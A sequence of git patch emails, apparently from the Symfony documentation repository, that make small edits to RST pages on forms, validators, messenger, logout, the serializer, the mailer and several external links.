Subject: [PATCH 3780/7107] [Form] Fix `selectedchoice` test link

---
 reference/forms/types/choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index ec4f79c7205..e132b0b6ad6 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -321,5 +321,5 @@ Field Variables
 
 .. tip::
 
-    It's significantly faster to use the :ref:`form-twig-selectedchoice`
+    It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
     test instead when using Twig.

From c845048784d62352f98ed83013300339194b61cb Mon Sep 17 00:00:00 2001
From: Erison Silva <erison.sdn@gmail.com>
Date: Sat, 15 Oct 2022 12:45:39 +0200
Subject: [PATCH 3781/7107] Update choice_translation_parameters.rst.inc

Adding missing ";" for the `choice_translation_parameters` example
---
 .../forms/types/options/choice_translation_parameters.rst.inc   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index a384d38d487..c1bad6dc336 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -59,7 +59,7 @@ You can specify the placeholder values as follows::
                 return [];
             }
 
-            return ['%company%' => 'ACME Inc.']
+            return ['%company%' => 'ACME Inc.'];
         },
     ]);
 

From 76eeecbcb614fe1561656ef36859eabb5af547cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 15 Oct 2022 16:31:21 +0200
Subject: [PATCH 3782/7107] Minor tweak

---
 messenger.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0e1298a3516..30526912a80 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1940,7 +1940,8 @@ Possible options to configure with tags are:
 Handling Multiple Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A handler class can handle multiple messages. For that add the ``#AsMessageHandler`` attribute to the handling methods::
+A single handler class can handle multiple messages. For that add the
+``#AsMessageHandler`` attribute to all the handling methods::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -1965,8 +1966,9 @@ A handler class can handle multiple messages. For that add the ``#AsMessageHandl
 
 .. deprecated:: 6.2
 
-    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` is another way to
-    handle multiple messages with one handler class. This interface was deprecated in Symfony 6.2.
+    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`
+    is another way to handle multiple messages with one handler class. This
+    interface was deprecated in Symfony 6.2.
 
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7bd51931edc96e79056401a0e34f1d338f5ec962 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 14:51:48 +0200
Subject: [PATCH 3783/7107] [Validator] Combine #13898 with recent changes

---
 validation/custom_constraint.rst | 286 ++++++-------------------------
 1 file changed, 57 insertions(+), 229 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7bb2772e1be..ed30b8ecdc5 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -24,7 +24,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
      */
     class ContainsAlphanumeric extends Constraint
     {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
     }
 
 .. note::
@@ -64,7 +64,7 @@ The validator class only has one required method ``validate()``::
 
     class ContainsAlphanumericValidator extends ConstraintValidator
     {
-        public function validate($value, Constraint $constraint)
+        public function validate($value, Constraint $constraint): void
         {
             if (!$constraint instanceof ContainsAlphanumeric) {
                 throw new UnexpectedTypeException($constraint, ContainsAlphanumeric::class);
@@ -98,7 +98,7 @@ The validator class only has one required method ``validate()``::
     The feature to allow passing an object as the ``buildViolation()`` argument
     was introduced in Symfony 4.4.
 
-Inside ``validate``, you don't need to return a value. Instead, you add violations
+Inside ``validate()``, you don't need to return a value. Instead, you add violations
 to the validator's ``context`` property and a value will be considered valid
 if it causes no violations. The ``buildViolation()`` method takes the error
 message as its argument and returns an instance of
@@ -114,13 +114,13 @@ You can use custom validators like the ones provided by Symfony itself:
 
     .. code-block:: php-annotations
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/User.php
         namespace App\Entity;
 
         use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class AcmeEntity
+        class User
         {
             // ...
 
@@ -128,7 +128,7 @@ You can use custom validators like the ones provided by Symfony itself:
              * @Assert\NotBlank
              * @AcmeAssert\ContainsAlphanumeric
              */
-            protected $name;
+            protected string $name = '';
 
             // ...
         }
@@ -136,7 +136,7 @@ You can use custom validators like the ones provided by Symfony itself:
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\AcmeEntity:
+        App\Entity\User:
             properties:
                 name:
                     - NotBlank: ~
@@ -150,7 +150,7 @@ You can use custom validators like the ones provided by Symfony itself:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\AcmeEntity">
+            <class name="App\Entity\User">
                 <property name="name">
                     <constraint name="NotBlank"/>
                     <constraint name="App\Validator\ContainsAlphanumeric"/>
@@ -160,18 +160,20 @@ You can use custom validators like the ones provided by Symfony itself:
 
     .. code-block:: php
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/User.php
         namespace App\Entity;
 
         use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class AcmeEntity
+        class User
         {
-            public $name;
+            protected string $name = '';
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
                 $metadata->addPropertyConstraint('name', new ContainsAlphanumeric());
@@ -194,64 +196,14 @@ Class Constraint Validator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Besides validating a single property, a constraint can have an entire class
-as its scope. Consider the following classes, that describe the receipt of some payment::
-
-    // src/AppBundle/Model/PaymentReceipt.php
-    class PaymentReceipt
-    {
-        /**
-         * @var User
-         */
-        private $user;
-
-        /**
-         * @var array
-         */
-        private $payload;
-
-        public function __construct(User $user, array $payload)
-        {
-            $this->user = $user;
-            $this->payload = $payload;
-        }
-
-        public function getUser(): User
-        {
-            return $this->user;
-        }
-
-        public function getPayload(): array
-        {
-            return $this->payload;
-        }
-    }
-
-    // src/AppBundle/Model/User.php
-
-    class User
-    {
-        /**
-         * @var string
-         */
-        private $email;
-
-        public function __construct($email)
-        {
-            $this->email = $email;
-        }
-
-        public function getEmail(): string
-        {
-            return $this->email;
-        }
-    }
+as its scope.
 
-As an example you're going to check if the email in receipt payload matches the user email.
-To validate the receipt, it is required to create the constraint first.
-You only need to add the ``getTargets()`` method to the ``Constraint`` class::
+For instance, imagine you also have a ``PaymentReceipt`` entity and you
+need to make sure the email of the receipt payload matches the user's
+email. First, create a constraint and override the ``getTargets()`` method::
 
-    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceipt.php
-    namespace AppBundle\Validator\Constraints;
+    // src/Validator/ConfirmedPaymentReceipt.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
 
@@ -260,18 +212,19 @@ You only need to add the ``getTargets()`` method to the ``Constraint`` class::
      */
     class ConfirmedPaymentReceipt extends Constraint
     {
-        public $userDoesntMatchMessage = 'User email does not match the receipt email';
+        public string $userDoesNotMatchMessage = 'User\'s e-mail address does not match that of the receipt';
 
-        public function getTargets()
+        public function getTargets(): string
         {
             return self::CLASS_CONSTRAINT;
         }
     }
 
-With this, the validator's ``validate()`` method gets an object as its first argument::
+Now, the constraint validator will get an object as the first argument to
+``validate()``::
 
-    // src/AppBundle/Validator/Constraints/ConfirmedPaymentReceiptValidator.php
-    namespace AppBundle\Validator\Constraints;
+    // src/Validator/ConfirmedPaymentReceiptValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -281,9 +234,8 @@ With this, the validator's ``validate()`` method gets an object as its first arg
     {
         /**
          * @param PaymentReceipt $receipt
-         * @param Constraint|ConfirmedPaymentReceipt $constraint
          */
-        public function validate($receipt, Constraint $constraint)
+        public function validate($receipt, Constraint $constraint): void
         {
             if (!$receipt instanceof PaymentReceipt) {
                 throw new UnexpectedValueException($receipt, PaymentReceipt::class);
@@ -298,7 +250,7 @@ With this, the validator's ``validate()`` method gets an object as its first arg
 
             if ($userEmail !== $receiptEmail) {
                 $this->context
-                    ->buildViolation($constraint->userDoesntMatchMessage)
+                    ->buildViolation($constraint->userDoesNotMatchMessage)
                     ->atPath('user.email')
                     ->addViolation();
             }
@@ -311,20 +263,19 @@ With this, the validator's ``validate()`` method gets an object as its first arg
     associated. Use any :doc:`valid PropertyAccess syntax </components/property_access>`
     to define that property.
 
-A class constraint validator is applied to the class itself, and
-not to the property:
+A class constraint validator must be applied to the class itself:
 
 .. configuration-block::
 
     .. code-block:: php-annotations
 
-        // src/Entity/AcmeEntity.php
+        // src/Entity/PaymentReceipt.php
         namespace App\Entity;
 
-        use App\Validator as AcmeAssert;
+        use App\Validator\ConfirmedPaymentReceipt;
 
         /**
-         * @AppAssert\ConfirmedPaymentReceipt
+         * @ConfirmedPaymentReceipt
          */
         class PaymentReceipt
         {
@@ -333,44 +284,55 @@ not to the property:
 
     .. code-block:: yaml
 
-        # src/AppBundle/Resources/config/validation.yml
-        AppBundle\Model\PaymentReceipt:
+        # config/validator/validation.yaml
+        App\Entity\PaymentReceipt:
             constraints:
-                - AppBundle\Validator\Constraints\ConfirmedPaymentReceipt: ~
+                - App\Validator\ConfirmedPaymentReceipt: ~
 
     .. code-block:: xml
 
-        <!-- src/AppBundle/Resources/config/validation.xml -->
-        <class name="AppBundle\Model\PaymentReceipt">
-            <constraint name="AppBundle\Validator\Constraints\ConfirmedPaymentReceipt"/>
-        </class>
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping
+                https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\PaymentReceipt">
+                <constraint name="App\Validator\ConfirmedPaymentReceipt"/>
+            </class>
+        </constraint-mapping>
 
     .. code-block:: php
 
-        // src/AppBundle/Model/PaymentReceipt.php
-        use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
+        // src/Entity/PaymentReceipt.php
+        namespace App\Entity;
+
+        use App\Validator\ConfirmedPaymentReceipt;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class PaymentReceipt
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new ConfirmedPaymentReceipt());
             }
         }
 
-<<<<<<< HEAD
 Testing Custom Constraints
 --------------------------
 
-Use the ``ConstraintValidatorTestCase`` utility to simplify the creation of
-unit tests for your custom constraints::
+Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase``
+class to simplify writing unit tests for your custom constraints::
+
+    // tests/Validator/ContainsAlphanumericValidatorTest.php
+    namespace App\Tests\Validator;
 
-    // ...
     use App\Validator\ContainsAlphanumeric;
     use App\Validator\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
 
     class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
     {
@@ -404,137 +366,3 @@ unit tests for your custom constraints::
             // ...
         }
     }
-
-How to Unit Test your Validator
--------------------------------
-
-To create a unit test for you custom validator, your test case class should
-extend the ``ConstraintValidatorTestCase`` class and implement the ``createValidator()`` method::
-
-    protected function createValidator()
-    {
-        return new ContainsAlphanumericValidator();
-    }
-
-After that you can add any test cases you need to cover the validation logic::
-
-    use AppBundle\Validator\Constraints\ContainsAlphanumeric;
-    use AppBundle\Validator\Constraints\ContainsAlphanumericValidator;
-    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
-
-    class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new ContainsAlphanumericValidator();
-        }
-
-        /**
-         * @dataProvider getValidStrings
-         */
-        public function testValidStrings($string)
-        {
-            $this->validator->validate($string, new ContainsAlphanumeric());
-
-            $this->assertNoViolation();
-        }
-
-        public function getValidStrings()
-        {
-            return [
-                ['Fabien'],
-                ['SymfonyIsGreat'],
-                ['HelloWorld123'],
-            ];
-        }
-
-        /**
-         * @dataProvider getInvalidStrings
-         */
-        public function testInvalidStrings($string)
-        {
-            $constraint = new ContainsAlphanumeric([
-                'message' => 'myMessage',
-            ]);
-
-            $this->validator->validate($string, $constraint);
-
-            $this->buildViolation('myMessage')
-                ->setParameter('{{ string }}', $string)
-                ->assertRaised();
-        }
-
-        public function getInvalidStrings()
-        {
-            return [
-                ['example_'],
-                ['@$^&'],
-                ['hello-world'],
-                ['<body>'],
-            ];
-        }
-    }
-
-You can also use the ``ConstraintValidatorTestCase`` class for creating test cases for class constraints::
-
-    use AppBundle\Validator\Constraints\ConfirmedPaymentReceipt;
-    use AppBundle\Validator\Constraints\ConfirmedPaymentReceiptValidator;
-    use Symfony\Component\Validator\Exception\UnexpectedValueException;
-    use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
-
-    class ConfirmedPaymentReceiptValidatorTest extends ConstraintValidatorTestCase
-    {
-        protected function createValidator()
-        {
-            return new ConfirmedPaymentReceiptValidator();
-        }
-
-        public function testValidReceipt()
-        {
-            $receipt = new PaymentReceipt(new User('foo@bar.com'), ['email' => 'foo@bar.com', 'data' => 'baz']);
-            $this->validator->validate($receipt, new ConfirmedPaymentReceipt());
-
-            $this->assertNoViolation();
-        }
-
-        /**
-         * @dataProvider getInvalidReceipts
-         */
-        public function testInvalidReceipt($paymentReceipt)
-        {
-            $this->validator->validate(
-                $paymentReceipt,
-                new ConfirmedPaymentReceipt(['userDoesntMatchMessage' => 'myMessage'])
-            );
-
-            $this->buildViolation('myMessage')
-                ->atPath('property.path.user.email')
-                ->assertRaised();
-        }
-
-        public function getInvalidReceipts()
-        {
-            return [
-                [new PaymentReceipt(new User('foo@bar.com'), [])],
-                [new PaymentReceipt(new User('foo@bar.com'), ['email' => 'baz@foo.com'])],
-            ];
-        }
-
-        /**
-         * @dataProvider getUnexpectedArguments
-         */
-        public function testUnexpectedArguments($value, $constraint)
-        {
-            self::expectException(UnexpectedValueException::class);
-
-            $this->validator->validate($value, $constraint);
-        }
-
-        public function getUnexpectedArguments()
-        {
-            return [
-                [new \stdClass(), new ConfirmedPaymentReceipt()],
-                [new PaymentReceipt(new User('foo@bar.com'), []), new Unique()],
-            ];
-        }
-    }

From 58ede1b9f51173ebd2cc24c146ee693290c18f6b Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Sun, 16 Oct 2022 21:38:29 +0200
Subject: [PATCH 3784/7107] Remove akamai broken link

The link of the article is broken, according to archive.org the last version available was in July 2021: https://web.archive.org/web/20210729163732/https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html

The article seems to be no longer available
---
 web_link.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index dd8ce736e89..1fdca21b738 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -100,7 +100,7 @@ According to `the Preload specification`_, when an HTTP/2 server detects that
 the original (HTTP 1.x) response contains this HTTP header, it will
 automatically trigger a push for the related file in the same HTTP/2 connection.
 
-Popular proxy services and CDNs including `Cloudflare`_, `Fastly`_ and `Akamai`_
+Popular proxy services and CDNs including `Cloudflare`_ and `Fastly`_
 also leverage this feature. It means that you can push resources to clients and
 improve performance of your applications in production right now.
 
@@ -187,6 +187,5 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2
 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/
 .. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push
-.. _`Akamai`: https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/

From ac46df4dd4dc8514cf1f0e58f7d7e3fb3e44e104 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Oct 2022 21:57:33 +0200
Subject: [PATCH 3785/7107] [#17328] Minor changes

---
 security.rst | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/security.rst b/security.rst
index 5641e825742..13476970fef 100644
--- a/security.rst
+++ b/security.rst
@@ -1724,7 +1724,7 @@ That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
 Symfony will un-authenticate the current user and redirect them.
 
 Logout programmatically
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 .. versionadded:: 6.2
 
@@ -1737,14 +1737,12 @@ Logout programmatically
     The :method:`Symfony\\Bundle\\SecurityBundle\\Security\\Security::logout`
     method was introduced in Symfony 6.2.
 
-You can logout user programmatically using the `logout()` method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper. The user will be logout from the current firewall
-in the request. If the current request is not behind a firewall a ``\LogicException`` will be thrown. ::
+You can logout user programmatically using the ``logout()`` method of the
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` helper::
 
     // src/Controller/SecurityController.php
     namespace App\Controller\SecurityController;
 
-    use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class SecurityController
@@ -1752,20 +1750,18 @@ in the request. If the current request is not behind a firewall a ``\LogicExcept
         public function someAction(Security $security): Response
         {
             // logout the user in on the current firewall
-            $response = $this->security->logout();
-
-            // You can also disable the csrf logout
-            $response = $this->security->logout(false);
+            $response = $security->logout();
 
-            if ($response !== null) {
-                return $response;
-            }
+            // you can also disable the csrf logout
+            $response = $security->logout(false);
 
-            // Redirect to the homepage for instance
-            // ...
+            // ... return $response (if set) or e.g. redirect to the homepage
         }
     }
 
+The user will be logout from the firewall of the request. If the request is
+not behind a firewall a ``\LogicException`` will be thrown.
+
 Customizing Logout
 ~~~~~~~~~~~~~~~~~~
 

From 8d186af5bc2a374a118901209ce0f31aa9525aee Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Oct 2022 08:36:47 +0200
Subject: [PATCH 3786/7107] Readded the link to Akamai

---
 web_link.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/web_link.rst b/web_link.rst
index 1fdca21b738..a91fd8d684c 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -100,7 +100,7 @@ According to `the Preload specification`_, when an HTTP/2 server detects that
 the original (HTTP 1.x) response contains this HTTP header, it will
 automatically trigger a push for the related file in the same HTTP/2 connection.
 
-Popular proxy services and CDNs including `Cloudflare`_ and `Fastly`_
+Popular proxy services and CDNs including `Cloudflare`_, `Fastly`_ and `Akamai`_
 also leverage this feature. It means that you can push resources to clients and
 improve performance of your applications in production right now.
 
@@ -187,5 +187,6 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2
 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/
 .. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push
+.. _`Akamai`: https://http2.akamai.com/
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/

From c0e8d75dcc150ce7e2d12db1ad506b1971503f02 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Oct 2022 08:55:28 +0200
Subject: [PATCH 3787/7107] Reword

---
 components/serializer.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5dc2083fcf6..61747a1128c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -797,13 +797,17 @@ The Serializer component provides several built-in normalizers:
     parent classes) by using `PHP reflection`_. It supports calling the constructor
     during the denormalization process.
 
-.. versionadded:: 6.2
+    Objects are normalized to a map of property names to property values.
 
-    You can change normalization visibility by setting the serializer context option
-    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` and combine ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    If you prefer to only normalize certain properties (e.g. only public properties)
+    set the ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and
+    combine the following values: ``PropertyNormalizer::NORMALIZE_PUBLIC``,
     ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
 
-    Objects are normalized to a map of property names to property values.
+    .. versionadded:: 6.2
+
+        The ``PropertyNormalizer::NORMALIZE_VISIBILITY`` context option and its
+        values were introduced in Symfony 6.2.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
     This normalizer works with classes that implement :phpclass:`JsonSerializable`.

From 8bf5f9e815df7fb8fef6771d383de24e31a26af1 Mon Sep 17 00:00:00 2001
From: Kamil Kuzminski <kamil.kuzminski@codefog.pl>
Date: Wed, 14 Sep 2022 16:37:18 +0200
Subject: [PATCH 3788/7107] Fix the code example leading to an error

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ad0f16f1a15..a09556a1bf8 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -236,7 +236,7 @@ add a service conditionally based on the ``foo`` value::
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
-                $container->set('foo_service', new \stdClass());
+                $builder->register('foo_service', \stdClass::class);
             }
         }
     }

From e24a36d4b34347225c0d9e27482fbe3a4c5e06f8 Mon Sep 17 00:00:00 2001
From: Pinchon Karim <kpn13@users.noreply.github.com>
Date: Wed, 12 Oct 2022 14:04:31 +0200
Subject: [PATCH 3789/7107] docs(test): add array example for options

---
 console.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console.rst b/console.rst
index 0830ace0829..de35f22ca2d 100644
--- a/console.rst
+++ b/console.rst
@@ -372,6 +372,8 @@ console::
 
                 // prefix the key with two dashes when passing options,
                 // e.g: '--some-option' => 'option_value',
+                // use brackets for testing array value,
+                // e.g: '--some-option' => ['option_value'],
             ]);
 
             // the output of the command in the console

From d57bbb12bf7508f32d0398a50dfa4b628aa9cf16 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 17:31:22 +0200
Subject: [PATCH 3790/7107] Fix Stumptown Syndicate guideline broken link

Use the github link instead of the broken website link
---
 contributing/code_of_conduct/reporting_guidelines.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/reporting_guidelines.rst b/contributing/code_of_conduct/reporting_guidelines.rst
index b44fec3743e..a00394bce65 100644
--- a/contributing/code_of_conduct/reporting_guidelines.rst
+++ b/contributing/code_of_conduct/reporting_guidelines.rst
@@ -93,6 +93,6 @@ Reporting Guidelines derived from those of the `Stumptown Syndicate`_ and the
 
 Adopted by `Symfony`_ organizers on 21 February 2018.
 
-.. _`Stumptown Syndicate`: http://stumptownsyndicate.org/code-of-conduct/reporting-guidelines/
+.. _`Stumptown Syndicate`: https://github.com/stumpsyn/policies/blob/master/reporting_guidelines.md/
 .. _`Django Software Foundation`: https://www.djangoproject.com/conduct/reporting/
 .. _`Symfony`: https://symfony.com

From 56b7695409f3c0d7757c3fd7e848f3eba28ca710 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 17:34:35 +0200
Subject: [PATCH 3791/7107] Force SimpleBus https url

SimpleBus allows https
---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 0772293eab1..b71680ff70e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -357,4 +357,4 @@ Learn more
     /messenger/*
 
 .. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command%20bus/
-.. _`SimpleBus project`: http://docs.simplebus.io/en/latest/
+.. _`SimpleBus project`: https://docs.simplebus.io/en/latest/

From 7f3a21d16f3b227451ed5176d5060a38457274e7 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 10 Oct 2022 10:09:39 -0400
Subject: [PATCH 3792/7107] Mentioning svelte as aa valid loader override type

---
 frontend/encore/advanced-config.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 26cd3a00a6e..75bc423f461 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -230,6 +230,7 @@ The following loaders are configurable with ``configureLoaderRule()``:
   - ``sass`` (alias ``scss``)
   - ``less``
   - ``stylus``
+  - ``svelte``
   - ``vue``
   - ``eslint``
   - ``typescript`` (alias ``ts``)

From fdfcf89252a2525ebd794665fafa0062d6e428d1 Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Mon, 17 Oct 2022 18:12:15 +0200
Subject: [PATCH 3793/7107] Change secure.php.net link to php.net

---
 console.rst                                                     | 2 +-
 .../forms/types/options/date_input_format_description.rst.inc   | 2 +-
 reference/forms/types/time.rst                                  | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index de35f22ca2d..f67dfb71f5d 100644
--- a/console.rst
+++ b/console.rst
@@ -145,7 +145,7 @@ the console::
             '',
         ]);
 
-        // the value returned by someMethod() can be an iterator (https://secure.php.net/iterator)
+        // the value returned by someMethod() can be an iterator (https://php.net/iterator)
         // that generates and returns the messages with the 'yield' PHP keyword
         $output->writeln($this->someMethod());
 
diff --git a/reference/forms/types/options/date_input_format_description.rst.inc b/reference/forms/types/options/date_input_format_description.rst.inc
index 4cd9b353e31..5606ac5f50d 100644
--- a/reference/forms/types/options/date_input_format_description.rst.inc
+++ b/reference/forms/types/options/date_input_format_description.rst.inc
@@ -5,4 +5,4 @@
 If the ``input`` option is set to ``string``, this option specifies the format
 of the date. This must be a valid `PHP date format`_.
 
-.. _`PHP date format`: https://secure.php.net/manual/en/function.date.php
+.. _`PHP date format`: https://php.net/manual/en/function.date.php
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 5d2c6276f98..dd41af07caa 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -237,4 +237,4 @@ Form Variables
 |              |             | contains the input type to use (``datetime``, ``date`` or ``time``). |
 +--------------+-------------+----------------------------------------------------------------------+
 
-.. _`PHP time format`: https://secure.php.net/manual/en/function.date.php
+.. _`PHP time format`: https://php.net/manual/en/function.date.php

From 9651651bd9185a4472fe75fa7296dbea53309e9f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Oct 2022 09:54:27 +0200
Subject: [PATCH 3794/7107] Reword

---
 mailer.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 52918c107e1..ef358cdfd9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1,4 +1,4 @@
-Sending Emails with Mailer
+17340Sending Emails with Mailer
 ==========================
 
 .. versionadded:: 4.3
@@ -793,6 +793,8 @@ This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we create
 earlier. You could, for example, `download the foundation-emails.css file`_
 directly from GitHub and save it in ``assets/css``.
 
+.. _signing-and-encrypting-messages:
+
 Signing and Encrypting Messages
 -------------------------------
 
@@ -1059,11 +1061,10 @@ is sent::
 
 .. tip::
 
-    The ``MessageEvent`` is also used internally. Depending on your use case
-    you might need to set a lower or higher priority for your own listener.
-    For example, when you want to sign the message, make sure to use ``-1``
-    or lower so the body has already been rendered and will not change after
-    signing.
+    When using a ``MessageEvent`` listener to
+    :doc:`sign the email contents <signing-and-encrypting-messages>`, run it as
+    late as possible (e.g. setting a negative priority for it) so the email
+    contents are not set or modified after signing them.
 
 Development & Debugging
 -----------------------

From 5ece334a58c0041f97e4d2f6ae54fdb948b4260e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Oct 2022 10:18:56 +0200
